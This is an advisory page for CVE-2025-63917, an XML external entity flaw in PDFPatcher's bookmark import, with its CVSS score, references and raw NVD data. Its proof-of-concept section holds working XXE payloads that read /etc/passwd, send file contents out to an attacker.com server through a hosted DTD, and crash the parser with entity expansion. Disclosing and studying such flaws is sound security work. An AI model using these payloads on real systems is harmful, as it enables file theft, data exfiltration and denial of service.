CVE-2025-63917

Description

PDFPatcher thru 1.1.3.4663 executable's XML bookmark import functionality does not restrict XML external entity (XXE) references. The application uses .NET's XmlDocument class without disabling external entity resolution, enabling attackers to: Read arbitrary files from the victim's filesystem, exfiltrate sensitive data via out-of-band (OOB) HTTP requests, perform SSRF attacks against internal network resources, or cause a denial of service via entity expansion attacks.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:cnblogs:pdfpatcher:*:*:*:*:*:*:*:* - VULNERABLE

PDFPatcher <= 1.1.3.4663

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookmark [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<PDFPatcher>
  <Bookmarks>
    <Item>
      <Title>&xxe;</Title>
      <Target>page=1</Target>
    </Item>
  </Bookmarks>
</PDFPatcher>

<!-- Blind XXE PoC for OOB data exfiltration -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookmark [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<PDFPatcher>
  <Bookmarks>
    <Item>
      <Title>Malicious Bookmark</Title>
      <Target>page=1</Target>
    </Item>
  </Bookmarks>
</PDFPatcher>

<!-- evil.dtd hosted on attacker server -->
<!ENTITY % payload "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%payload;
%exfil;

<!-- Billion Laughs DoS PoC -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "aaaaaaaaaa">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63917
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63917
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63917/
[4] VulDB https://vuldb.com/cve/CVE-2025-63917
[5] https://github.com/cydtseng/Vulnerability-Research/blob/main/pdfpatcher/XXE-Importers.md
[6] https://github.com/wmjordan/PDFPatcher
[7] https://www.cnblogs.com/pdfpatcher

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63917", "sourceIdentifier": "[email protected]", "published": "2025-11-17T17:15:51.207", "lastModified": "2026-01-08T17:27:25.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PDFPatcher thru 1.1.3.4663 executable's XML bookmark import functionality does not restrict XML external entity (XXE) references. The application uses .NET's XmlDocument class without disabling external entity resolution, enabling attackers to: Read arbitrary files from the victim's filesystem, exfiltrate sensitive data via out-of-band (OOB) HTTP requests, perform SSRF attacks against internal network resources, or cause a denial of service via entity expansion attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cnblogs:pdfpatcher:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.1.3.4663", "matchCriteriaId": "9EC28AA3-78F8-43DB-8F24-F702D4A4ED70"}]}]}], "references": [{"url": "https://github.com/cydtseng/Vulnerability-Research/blob/main/pdfpatcher/XXE-Importers.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/wmjordan/PDFPatcher", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cnblogs.com/pdfpatcher", "source": "[email protected]", "tags": ["Product"]}]}}